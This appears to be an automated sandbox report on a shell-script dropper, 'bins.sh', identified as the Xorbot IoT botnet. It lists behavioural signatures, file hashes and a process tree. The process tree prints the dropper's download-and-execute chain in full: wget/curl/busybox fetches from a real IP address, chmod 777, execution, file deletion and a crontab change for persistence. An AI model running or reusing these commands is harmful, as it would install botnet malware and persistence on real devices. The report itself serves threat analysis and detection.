Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    10/02/2025, 19:57

Sharing

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample250210-ypb97avper
  • SHA256 ba9042796dea6961ae0dd9690a3a0e17f9652519a9dd2a1137fe3ca12366dc3e
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
xorbotbotnetdefense_evasiondiscoveryexecutionpersistenceprivilege_escalationtrojan

Malware Config

Signatures

  • Detects Xorbot 1 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Contacts a large (1842) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 2 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 2 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 6 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:702
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:705
      • /usr/bin/wget
        wget http://37.44.238.88/bins/UlPA49IWeplZmCJqWfiq1o2CVuKe5xjqe5
        2⤵
        • Writes file to tmp directory
        PID:708
      • /usr/bin/curl
        curl -O http://37.44.238.88/bins/UlPA49IWeplZmCJqWfiq1o2CVuKe5xjqe5
        2⤵
        • Writes file to tmp directory
        PID:725
      • /bin/busybox
        /bin/busybox wget http://37.44.238.88/bins/UlPA49IWeplZmCJqWfiq1o2CVuKe5xjqe5
        2⤵
        • Writes file to tmp directory
        PID:733
      • /bin/chmod
        chmod 777 UlPA49IWeplZmCJqWfiq1o2CVuKe5xjqe5
        2⤵
        • File and Directory Permissions Modification
        PID:734
      • /tmp/UlPA49IWeplZmCJqWfiq1o2CVuKe5xjqe5
        ./UlPA49IWeplZmCJqWfiq1o2CVuKe5xjqe5
        2⤵
          PID:735
        • /bin/rm
          rm UlPA49IWeplZmCJqWfiq1o2CVuKe5xjqe5
          2⤵
            PID:737
          • /usr/bin/wget
            wget http://37.44.238.88/bins/1Kz1KnRgvkasmixG2CgdW9RluQF1C0POXJ
            2⤵
            • Writes file to tmp directory
            PID:738
          • /usr/bin/curl
            curl -O http://37.44.238.88/bins/1Kz1KnRgvkasmixG2CgdW9RluQF1C0POXJ
            2⤵
            • Writes file to tmp directory
            PID:739
          • /bin/busybox
            /bin/busybox wget http://37.44.238.88/bins/1Kz1KnRgvkasmixG2CgdW9RluQF1C0POXJ
            2⤵
            • Writes file to tmp directory
            PID:785
          • /bin/chmod
            chmod 777 1Kz1KnRgvkasmixG2CgdW9RluQF1C0POXJ
            2⤵
            • File and Directory Permissions Modification
            PID:790
          • /tmp/1Kz1KnRgvkasmixG2CgdW9RluQF1C0POXJ
            ./1Kz1KnRgvkasmixG2CgdW9RluQF1C0POXJ
            2⤵
            • Renames itself
            • Reads runtime system information
            PID:791
            • /bin/sh
              sh -c "crontab -l"
              3⤵
                PID:793
                • /usr/bin/crontab
                  crontab -l
                  4⤵
                    PID:794
                • /bin/sh
                  sh -c "crontab -"
                  3⤵
                    PID:797
                    • /usr/bin/crontab
                      crontab -
                      4⤵
                      • Creates/modifies Cron job
                      • Reads runtime system information
                      PID:798
                • /bin/rm
                  rm 1Kz1KnRgvkasmixG2CgdW9RluQF1C0POXJ
                  2⤵
                    PID:810
                  • /usr/bin/wget
                    wget http://37.44.238.88/bins/Uzs339WeDk6ueR7VOm2WVtEHbhh0TASFtd
                    2⤵
                      PID:814
                    • /usr/bin/curl
                      curl -O http://37.44.238.88/bins/Uzs339WeDk6ueR7VOm2WVtEHbhh0TASFtd
                      2⤵
                        PID:816

                    Network

                          MITRE ATT&CK Enterprise v15

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          1Kz1KnRgvkasmixG2CgdW9RluQF1C0POXJ
                          • Path /tmp/1Kz1KnRgvkasmixG2CgdW9RluQF1C0POXJ
                          • Size 151KB
                          • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                          • MD5 SHA1 SHA512 SSDEEP
                          Submit Download

                          UlPA49IWeplZmCJqWfiq1o2CVuKe5xjqe5
                          • Path /tmp/UlPA49IWeplZmCJqWfiq1o2CVuKe5xjqe5
                          • Size 141KB
                          • SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
                          • MD5 SHA1 SHA512 SSDEEP
                          Submit Download

                          tmp.lI6a1A
                          • Path /var/spool/cron/crontabs/tmp.lI6a1A
                          • Size 210B
                          • SHA256 9e39c46f3435af6cc05f80ba00a6dcde4e6ac0ac5dd3ff838624d73da69575be
                          • MD5 SHA1 SHA512
                          Submit Download